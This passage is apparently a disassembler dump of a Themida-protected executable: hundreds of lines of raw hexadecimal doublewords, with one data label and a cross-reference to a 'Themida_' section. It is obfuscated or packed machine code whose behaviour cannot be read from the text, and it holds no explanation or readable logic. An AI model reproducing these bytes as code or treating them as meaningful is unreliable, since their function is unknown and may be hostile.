		dd 4870F00h, 66000000h,	0E9D52DBBh, 25h, 0F3B4BAC2h, 69BB2D78h
		dd 870FEFCBh, 1, 0FF61E9FCh, 6D50FFFFh,	85E439BCh, 2D40B921h
		dd 7BFDC153h, 35CAFEF0h, 8AA80B03h, 708A4F8Bh, 0ABA80B00h
		dd 0C875EAD5h, 0B0A80B00h, 0BA8A4F88h, 6D57AE5Dh, 388A4F89h
		dd 0ABA80B01h, 8375EAD5h, 53A80B01h, 0D8A4F8Eh,	0DDA80B06h
		dd 878A4F8Eh, 0ABA80B06h, 2575EAD5h, 8E6ED42Fh,	0C0031360h
		dd 52E2883Fh, 9EBE90A7h, 0D12157E8h, 43C0CC8Bh,	8F23D42Fh
		dd 0C0031360h, 52E28807h, 9E6990A7h, 0D12157E8h, 43C0CC87h
		dd 8892D42Fh, 0C0031360h, 52E28813h, 990590A7h,	0D12157E8h
		dd 43C0CC93h, 887BD42Fh, 0C0031360h, 52E2881Fh,	989690A7h
		dd 0D12157E8h, 43C0CCEFh, 89F5D42Fh, 0C0031360h, 52E2886Bh
		dd 981490A7h, 0D12157E8h, 43C0CCE7h, 8977D42Fh,	0C0031360h
		dd 52E28873h, 9B9290A7h, 0D12157E8h, 43C0CCFFh,	5012B8C3h
		dd 0CEDF152Ah, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0F5095C0h
		dd 0A8ED96A4h, 458A152Ah, 67A02429h, 0BAB496E3h, 54A1D5ADh
		dd 0C6CB152Ah, 0BA415564h, 0CE75EAD5h, 593AAE63h, 848C5134h
		dd 11AB5342h, 55FFEA22h, 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h
		dd 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
		dd 54A851A2h, 4162AD6Ch, 660351A2h, 0EE27BFEAh,	0AAA7DB2Fh
		dd 94751360h, 0D9020112h, 0F741AA0h, 0EC79AEA4h, 41AE51A1h
		dd 5B22DC09h, 0BA8C5FD4h, 0DF103773h, 0C821732Ah, 1E565E28h
		dd 0FD5BEA2Ch, 508C152Bh, 4A009881h, 0ABAE1B5Ch, 0EFD2A5FBh
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 0F5155C0h, 5CDDDAA4h,	828668A1h
		dd 54A8ADE7h, 0BACC152Ah, 10A78830h, 0CE529E2Ch, 9783FC69h
		dd 0EFE2A5B9h, 0D9F9FA31h, 0F741AA0h, 0D79AEA4h, 2320949Ah
		dd 328C551Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 458A15C2h, 0BE290BA2h, 43C0CEBDh
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 0D775532Ah, 52EC5E7Bh
		dd 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h, 0D9F9FA31h, 0F741AA0h
		dd 0D79AEA4h, 2320949Ah, 328C651Ah, 6E218481h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 953BFDA2h, 97B91DC9h, 0DE049191h
		dd 454A38F2h, 0A82851A2h, 5E0E1AD5h, 0EDA851A2h, 458A1523h
		dd 862DA055h, 45869025h, 0A32851A2h, 8E4B7332h,	972337AAh
		dd 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh
		dd 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh, 458A152Ah, 0B769C20Eh
		dd 76582622h, 8C22FD62h, 458AD507h, 0AB54D1A2h,	45939125h
		dd 5D1151A2h, 0B28A152Ah, 5B7AD453h, 458A1FAFh,	5610E0A2h
		dd 0EF4B93E2h, 7F039191h, 38031957h, 1123305Eh,	4D48DCD6h
		dd 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh
		dd 9D00B92Ah, 0D4A7B222h, 860085E1h, 5B22DC08h,	0BA8C5FD4h
		dd 0FEF8E173h, 0BB859FA7h, 855757E8h, 6E20D6A0h, 29215DDFh
		dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 0CE8260A1h
		dd 116F5DDFh, 458A15D6h, 54AFE9A2h, 0D775152Ah,	52EC4FAFh
		dd 0C8204526h, 1E565E28h, 0F55BEA2Ch, 949BFB2Bh, 2E853186h
		dd 50AC5962h, 0EFAEA580h, 0DDA42C89h, 0CEEBE957h, 9661ADE7h
		dd 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah, 93A42C29h, 458AE96Fh
		dd 0FE0451A2h, 4A5387D5h, 8C2357E6h, 0EF491786h, 0AAA7DB2Fh
		dd 94751360h, 0BD28E9C4h, 8600BE4Ch, 58D57A08h,	247668A3h
		dd 9D541429h, 108A1DE8h, 902BBD29h, 300175D6h, 58D5DAAAh
		dd 457650EDh, 0F8A851A2h, 9C18EA80h, 0DFAE15ADh, 8558B9E2h
		dd 5B32DC08h, 0BA8C5FD4h, 94103771h, 0CF2173E3h, 2983FB63h
		dd 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh
		dd 292359D7h, 0B9CFD226h, 54A851A2h, 0D775BF86h, 52EC5E7Bh
		dd 7726DDA1h, 0CE25FB63h, 43C0EB25h, 0ECCE825Dh, 0EEECE4AAh
		dd 7F029028h, 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h
		dd 2576D1A9h, 0DFA02429h, 4D1957h, 54A8515Eh, 7732732Ah
		dd 0D903376Bh, 0F741AB0h, 327BAEA4h, 234B9592h,	0FE04FD09h
		dd 0CC866801h, 0DFC9ADDFh, 8743E96Fh, 0DFFD51AAh, 0B94E96C6h
		dd 5CDDDAC2h, 828668A1h, 54A8ADE7h, 0FDEC152Ah
		dd 0FFCEB824h, 0BB858FA7h, 875757E8h, 320A09Ah,	0CE25FB0Eh
		dd 43C0EB25h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 0F547DC0h, 0A8ED96A4h, 458A152Ah, 0DFA02429h, 79261957h
		dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh
		dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah
		dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h
		dd 43C0CCB7h, 2032DCF1h, 0BA8C5FF0h, 0A8EDD871h, 458A42C3h
		dd 58DDAEA2h, 0C88260D5h, 1E71FC38h, 0DF07462Ch, 52E28BD6h
		dd 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh, 9C338FA7h
		dd 0D9FB57E8h, 0F5061B0h, 0DD7BAEA4h, 5863E96Fh, 0ABA851A2h
		dd 3075195Fh, 9132DCAAh, 168C5FF3h, 8EDCCB2Fh, 96751360h
		dd 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h, 3044BAh
		dd 378D8D00h, 6A064AE0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 51A4C356h, 1BFA4BD5h
		dd 49858942h, 89064422h, 442F5D8Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BCBD6C5h
		dd 4407D595h, 7985C706h, 0C4064406h, 6A00006Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 35C2C352h, 0F6BF66F0h, 0A1958BD0h, 0C706442Eh, 44107185h
		dd 6, 0C1958B00h, 0FF064417h, 441099B5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0DE506571h, 893180BCh, 4418D1B5h, 0F995FF06h, 6A06440Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0FAECC353h, 0E081B866h, 8830Fh, 0F570000h
		dd 8Bh,	6A5800h, 1C4D95FFh, 0C08B0644h,	50174EEBh, 221291F0h
		dd 0DCFAF2FFh, 4C18C913h, 44F90221h, 8A748BC7h,	130B4379h
		dd 0C7E66E0Eh, 21720D4Dh, 0F2D6DA28h, 0EA53200Bh, 1BA9B049h
		dd 97030C6Bh, 496705B5h, 52F3A68Bh, 578DB984h, 0FA4E6EE6h
		dd 0FBC2BC00h, 0EDDF979Dh, 68E5CE52h, 18399D8Dh, 4CB80644h
		dd 89000014h, 44304585h, 0E806h, 5580000h, 0Dh,	4CE90389h
		dd 14h,	512h dup(0)
		dd 0EB000000h, 16h, 4 dup(0)
		dd 0C0010100h, 4A000003h, 49958906h, 50064421h,	6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 71C8C350h, 2882C85h, 8992A19Ah, 44310995h
		dd 5E906h, 94D50000h, 6A61D750h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0D3560A58h
		dd 3B590111h, 0A19D0BB4h, 81064431h, 1A630AD1h,	0C88B6646h
		dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0B1E5A1C3h, 0D68B6681h, 0F680858Dh, 9D23064Ah
		dd 6442E31h, 0DE990h, 4CFD0000h, 3CA38994h, 342E5424h
		dd 50D0CA34h, 0CE960h, 0B1FD0000h, 5CE07409h, 0A879C07h
		dd 0F18B05FBh, 6AF89061h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 3E52FDCEh
		dd 0BC1859CCh, 10E9BAh,	0B5DE0000h, 2A6376F6h, 62A74073h
		dd 3EBDC5A9h, 6AE385h, 6820Fh, 0B5310000h, 6441BE5h, 959BD8Bh
		dd 95FF0644h, 6441825h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 1DC35343h, 0F8EB612h,	87h, 8E900h, 0BCA40000h
		dd 0E2A09286h, 0AE91BEBh, 0C1000000h, 2E02948Fh, 6ACA961Ah
		dd 5DBE90Bh, 0E80000h
dword_5ABD2C	dd 5D000000h, 0F685ED81h, 6A064Ah, 3E852h, 5A200000h, 54895AC3h
					; DATA XREF: Themida_:00560F78o
		dd 44810424h, 170424h, 52420000h, 0E1D9D5C3h, 65BD8B78h
		dd 0B2064416h, 0E8BB6034h, 0BF6739C6h, 6F09D54Dh, 0D51B6861h
		dd 0B9666D3Fh, 3481C263h, 3FDABB24h, 0E381666Dh, 95FF8C51h
		dd 6441C4Dh, 6918D31h, 0B58D0644h, 64AF4FBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 44C35141h, 85C9B6A7h
		dd 9A5C2534h, 5206C73Bh, 6A6D6765h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1C94C356h
		dd 0D40BA653h, 0BD8B2551h, 64407A1h, 1C518D31h,	46C70644h
		dd 636E6F04h, 57006A6Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 8B0874D1h, 5A5866F7h, 8D8BE937h
		dd 6441DB1h, 610846C7h,	6A007373h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0AF2CC352h
		dd 9A4A1CDDh, 8B3C18D9h, 4431B1BDh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 1692C356h, 75BD8BCCh, 8D064418h, 4AF4FB85h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 4C2A5271h, 7B33BADBh, 50EEF280h, 489EFB6h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 6195FF12h, 6A06442Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 2FE0C350h, 2FB1EBD0h
		dd 0BF4CCE5Bh, 12800Fh,	0DE90000h, 4C000000h, 0E82B4E01h
		dd 0AC69E27Eh, 0BEC1CFFh, 840FC00Bh, 53h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 17C35141h, 375E998h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0A3203BC3h, 844BDFC5h, 811BE750h,	0B5A9DDE3h
		dd 0C58D891Bh, 68064413h, 0A152BA38h, 25BF6656h, 4815AE1h
		dd 0AD46F424h, 12E95Eh,	2A080000h, 0E6DE3AEAh, 814B0A77h
		dd 0A980041Dh, 2318468Bh, 1C4D95FFh, 6A0644h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0B1F91C3h
		dd 4402C5BDh, 0F2816606h, 0B58D06DBh, 64AF4FBh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0D3C35747h, 6634F8C2h
		dd 0CD1ED281h, 383106C7h, 6A3634h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9F532C3h, 440D8185h
		dd 446C706h, 31342D37h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 73C35343h, 0C7BEB51Bh, 846h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0D7B348C3h, 0F704FA8Ah, 4830F99h, 66000000h,	6ABD31BFh
		dd 0EB816600h, 858D6830h, 64AF4FBh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0B5C35747h,	0A29061E3h, 0BE814h
		dd 0A2B70000h, 0B711681h, 58BBB699h, 18A0F19h, 0F5000000h
		dd 0E850905Fh, 0Eh, 0ABA39E46h,	332E2DFDh, 3B745AAFh, 52502301h
		dd 310F5A51h, 9E8h, 31902600h, 91B38295h, 5A5F2C13h, 6A905A58h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 83A3C350h, 66DAD80Dh, 0DCD3CB81h,	16E18166h
		dd 6195FFFFh, 6606442Dh, 0BF427B9h, 35840FC0h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0E96CC355h, 7, 56FDEABFh,	0E936A5ECh, 163h
		dd 55B50160h, 61064424h, 4E8h, 12C00h, 0F605000h, 68Bh
		dd 870F00h, 61000000h, 424448Bh, 45EA3ABBh, 60008B1Dh
		dd 0FD1A33B8h, 44896171h, 0CFB70424h, 4D95FF58h, 8B06441Ch
		dd 440CB1BDh, 0C5B50106h, 8D064428h, 4AF4FBB5h,	0A58D8B06h
		dd 0C706442Ah, 6C694606h, 3D8D8965h, 0C7064414h, 6F6D0446h
		dd 6A636Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 41B332C3h, 4163238Ch, 0EA8166F9h,	46C77AC5h
		dd 73616C08h, 39958973h, 52064419h, 0C3FBDB81h,	0C75F6634h
		dd 0C46h, 8D890000h, 6443005h, 0BA66006Ah, 858DEF09h, 64AF4FBh
		dd 13E8h, 9360FA00h, 0C1B12543h, 9C869EB3h, 0E4CAB0D4h
		dd 4A4AB5Ch, 0A5D7F781h, 90590432h, 0E948DEBFh,	0D48A5057h
		dd 0A5BF6690h, 6195FF59h, 6A06442Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2E72C353h
		dd 0F4BC92CAh, 55BD8B04h, 0B064421h, 3A840FC0h,	81000000h
		dd 0EFCC1BD7h, 35E978h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 3AAD1FC3h, 60279CA7h
		dd 22A58D31h, 95890644h, 6442E55h, 0FA88E961h, 8DF8FFFFh
		dd 44733AB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 7C490E74h, 0D0D0BA66h, 0B8h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 6156E8D3h, 30199531h, 0E6FF0644h, 8E9h, 83ADDE00h, 8F39E9B7h
		dd 55C18BFCh, 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 0C40FD49h
		dd 23A6FD20h, 34E7FD20h, 0BC45FD20h, 7937FD20h,	9B2DFD20h
		dd 0EA0AFD20h, 52EBFD20h, 0EC6FD20h, 230DFD20h,	34DAFD20h
		dd 0BE3FFD20h, 7998FD20h, 9879FD20h, 0E95AFD20h, 5006FD20h
		dd 0C6AFD20h, 259DFD20h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h
		dd 5A5CF44Bh, 2775FD7Ah, 9775F572h, 0CB74FD79h,	0ED73FD78h
		dd 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 5776FD7Ah
		dd 3F75A748h, 0CB75A748h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh
		dd 0BC75F8B2h, 2BF0701Ah, 0A673B67Ah, 0DD8951FFh, 40F0707Ch
		dd 6C73B67Ah, 0B88991FFh, 0B0F0707Ch, 3573B67Ah, 148955FFh
		dd 6F0707Ch, 1E73B67Ah,	81898DFFh, 0DF0707Ch, 7B73B785h
		dd 338989FFh, 3AF0707Ch, 0D773B784h, 658985FFh,	0FF0707Ch
		dd 4273B784h, 0AF8981FFh, 5CF0707Ch, 0F073B784h, 0F6897DFFh
		dd 57F0707Ch, 0A673B785h, 0DD8971FFh, 1EF0707Ch, 6C73B784h
		dd 0B88979FFh, 8DF0707Ch, 3573B784h, 148975FFh,	26F0707Ch
		dd 1E73B785h, 818971FFh, 0A6F0707Ch, 7B73B785h,	338961FFh
		dd 0DEF0707Ch, 0D773B785h, 65895DFFh, 12F0707Ch, 4273B785h
		dd 0AF8959FFh, 3CF0707Ch, 0F073B785h, 0F6896DFFh, 5BF0707Ch
		dd 0A673B67Ah, 0DD8969FFh, 6BF0707Ch, 6C73B67Ah, 0B88965FFh
		dd 0A0F0767Ch, 3573B975h, 148918FFh, 22F0767Ch,	1E73B964h
		dd 818914FFh, 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 418C17FBh
		dd 0D525FB30h, 0ADFDF53Fh, 913F019Eh, 0CFB73422h, 0B723AC7Ah
		dd 1A20AD29h, 7975FD7Ah, 0A6987C27h, 0A073B784h, 658996FFh
		dd 0FCC87D7Ch, 0CF73B786h, 0E4C5B409h, 0F9B54B75h, 863589BAh
		dd 0F68914EFh, 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD3F0193h
		dd 191948F7h, 0C6F8FB30h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh
		dd 0BA8AFD7Ah, 913F0193h, 371948F7h, 0D1F8FB30h, 228A50FCh
		dd 87BC1F23h, 0F68996F7h, 52DA07Ch
		dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F43F019Fh
		dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h,	0DD8918EFh
		dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h,	0F68918EFh
		dd 54C54D7Ch, 0BA8AAD79h, 913F019Fh, 2BF69B20h,	277E9B7Eh
		dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah,	0A57B89A0h
		dd 94913D59h, 7F5DF70h,	83FE4DBAh, 9D3ED1h, 2A75FD7Bh
		dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h,	0CB75FCA7h
		dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
		dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh,	0E906885h
		dd 1F2FFB30h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h
		dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h
		dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch,	439D561Ch
		dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h
		dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh
		dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah
		dd 0E2CD3ED0h, 0D75FD7Ah, 338914EFh, 0CC0707Ch,	5D73B786h
		dd 2C7F518Ah, 72E002D0h, 873B786h, 0E574E592h, 0F8254D7Ah
		dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h
		dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh,	438A036Bh
		dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah
		dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah
		dd 69B65779h, 81899FFFh, 87C87D7Ch, 0F373B786h,	0FCF8EC0Fh
		dd 0BA3F01AEh, 5C61152Ah, 1B9DFD7Ah, 2775FD78h,	759D571Ah
		dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0F6899FF7h,	3CC87D7Ch
		dd 2F73B786h, 12F8F10Fh, 0CD3F01AEh, 0E4DE152Ah, 4AB6FD7Ah
		dd 7975FD7Eh, 409C6885h, 0C3F8FB30h, 293EFC4Bh,	3D6DF9F0h
		dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h
		dd 0CB8A3E78h, 293F019Fh, 96514ACEh, 74C1FF0Eh,	4E13F2CAh
		dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h
		dd 68B65778h, 818918EFh, 0EA917D7Ch, 42F539FAh,	2EDE9B75h
		dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h
		dd 708AFD7Ah, 0F43F0193h, 85BD60F7h, 0A0F8FB30h, 4ECD3E39h
		dd 0D075FD7Ah, 0DD8914EFh, 0CEB57E7Ch, 1A8935F1h, 0B88918EFh
		dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh
		dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h
		dd 475FD7Ah, 2E3417FBh,	0EAFCFB31h, 2FCF7D86h, 0E573B786h
		dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 148914E8h,	0ADFCBD7Ch
		dd 913F0197h, 79F835F1h, 0E33EFF6Fh, 0E906F85h,	7FFDFB30h
		dd 4801F3Ch, 5E75FD6Dh,	0D3987F79h, 1A35FB30h, 8077F4E0h
		dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 40987779h,	0ECF8FB30h
		dd 293EFC8Dh, 2F2B5989h, 0CB75FD72h, 199C6F85h,	0AF6FB30h
		dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh
		dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h
		dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh,	848980F3h
		dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh
		dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah
		dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 8077D590h
		dd 14CF707Ch, 7973B786h, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh
		dd 0A226FD7Eh, 0DD890CE7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h
		dd 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 2D1417FBh,	25F8FB31h
		dd 0CD3F018Bh, 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h
		dd 0A28440F7h, 0EF46FB30h, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h
		dd 0F43F018Bh, 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh
		dd 969E0479h, 0ABB69C82h, 198440F7h, 0F3CDFB30h, 0C075FD7Ah
		dd 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 6B8B78F7h, 0D08AFB30h
		dd 13E8CA8Bh, 30000000h, 0BFDF9942h, 5C7D7271h,	3E5C69F2h
		dd 0EF8B8016h, 0BF0F7FDBh, 12E859FEh, 45000000h, 0D4FF3447h
		dd 3CB690D5h, 6C910249h, 12E6535Ch, 12E96091h, 0BF000000h
		dd 0E8BD775Fh, 20C72390h, 7FAE60FFh, 76C568D1h,	0AE930h
		dd 58040000h, 334AA798h, 6046A30Bh, 0C1815F61h,	64DAh
		dd 2870Fh, 0D58A0000h, 0B1D9B4BBh, 44F3810Ah, 0FF0AB1C1h
		dd 0DF816631h, 0F58D9DCh, 887h,	2860F00h, 60000000h, 0AF08161h
		dd 604C2362h, 820F52h, 5B000000h, 8161E5B1h, 4A2631F0h
		dd 0A820F17h, 0F000000h, 484h, 0FBF6600h, 0CFE88137h, 811435E3h
		dd 0B805A5DEh, 18F5053h, 13E8h,	5C400200h, 1BE3A7E7h, 39DBA1B5h
		dd 6F75D079h, 8D4D4734h, 3DD28166h, 0E9815F62h,	7FC2C000h
		dd 9840Fh, 8A0F0000h, 3, 81F98B66h, 0C2BFFCC1h,	81F18B7Fh
		dd 1EBh, 6C850F00h, 0FFFFFFFh, 1484h, 0E8B0F00h, 0E9000000h
		dd 9, 101F6A86h, 2CACA8A1h, 3BE981h, 8B600000h,	442B8DBDh
		dd 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h
		dd 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h,	100F9h
		dd 0D3820F00h, 61FFFFFFh, 0E9C88BC3h, 2Ah, 2404C7h, 0E8000000h
		dd 0
		dd 46ED815Dh, 8B064B04h, 89042444h, 441B0985h, 0B806h
		dd 8D8D0000h, 6444E55h,	54B8E1FFh, 8D000067h, 4B053D8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 6B829D9Ch, 89858B57h, 5A06441Dh,	2F5D8D89h
		dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 0BAB666C3h, 8C5D36C0h, 667B539Fh,	85C7D18Bh
		dd 6440679h, 6878h, 85C7F88Bh, 6441071h, 0
		dd 0FFF1B70Fh, 441EB9B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D6DB2878h
		dd 0FFAF2E11h, 440BF995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0CE7C5442h
		dd 8166A4EFh, 0BE711FEBh, 17188DA4h, 95FF006Ah,	6441C4Dh
		dd 6DEBC08Bh, 23956881h, 1547D3Ah, 83D64D86h, 87855A56h
		dd 0CA86A4DDh, 0CF8E44FAh, 0DF98E090h, 510BC924h, 9035E212h
		dd 23591956h, 2F1BEDDEh, 81280E65h, 0EFDCD65Ch,	805189A2h
		dd 3FAD42BCh, 540B26E1h, 8877C407h, 97D943E7h, 6A111A3Bh
		dd 0D8EF32E0h, 763BB3CCh, 6F53139Eh, 9708B0E2h,	0DE109660h
		dd 2B1F6BFCh, 0A2A7004Bh, 3AD26B51h, 0AE876h, 0C2080000h
		dd 80BA764Fh, 4DCD444Fh, 6EDA83BEh, 7CBF5908h, 810B227Ah
		dd 6BB5C1h, 0FBF6600h, 1AD1680Fh, 8B660000h, 18B5BD1h
		dd 30FD9529h, 0F0810644h, 7DDFCC22h, 1A55B58Bh,	0C0810644h
		dd 620A7D22h, 1A35B531h, 0E8810644h, 67AF0AFh, 68A0Fh
		dd 0BD8B0000h, 64429F1h, 0BD8B0189h, 6442D81h, 6604E983h
		dd 0EB81FB8Bh, 1, 0FFB4850Fh, 0E9F9FFFFh, 0C9h,	0F0590361h
		dd 47EE56CEh, 0FA530979h, 48E15BC4h, 0FD541076h, 81E755DFh
		dd 0F1546AC3h, 7DE4DA73h, 0DB4876DFh, 0E084C069h, 0E58EBC7Fh
		dd 0E95B0DC2h, 7BD2B15h, 0C9F7BF9Eh, 0BE80E458h, 4DD49C48h
		dd 582A4E2Ah, 54AC221Ch, 59009F32h, 72C93069h, 0BC251B53h
		dd 0A43DA71Fh, 920DA485h, 0C93068E2h, 47F26D09h, 80C930C0h
		dd 39A42BEh, 0D44B0322h, 0C9733739h, 0B5256453h, 0E52B0CC9h
		dd 0A7AC972h, 0C8000000h, 0B4132D49h, 0C088A930h, 67D54F72h
		dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h
		dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 2E68EDFAh,	0E9064B06h
		dd 0FFF9782Eh, 1C1A4C3Bh, 78534EF9h, 2357A08Dh,	6E0B87Ch
		dd 0C503064Bh, 0B7D404EBh, 0D9E957E3h, 6800000Dh, 64B093Fh
		dd 0F97805E9h, 0A6768FFh, 0FBE9064Bh, 68FFF977h, 64B0B2Eh
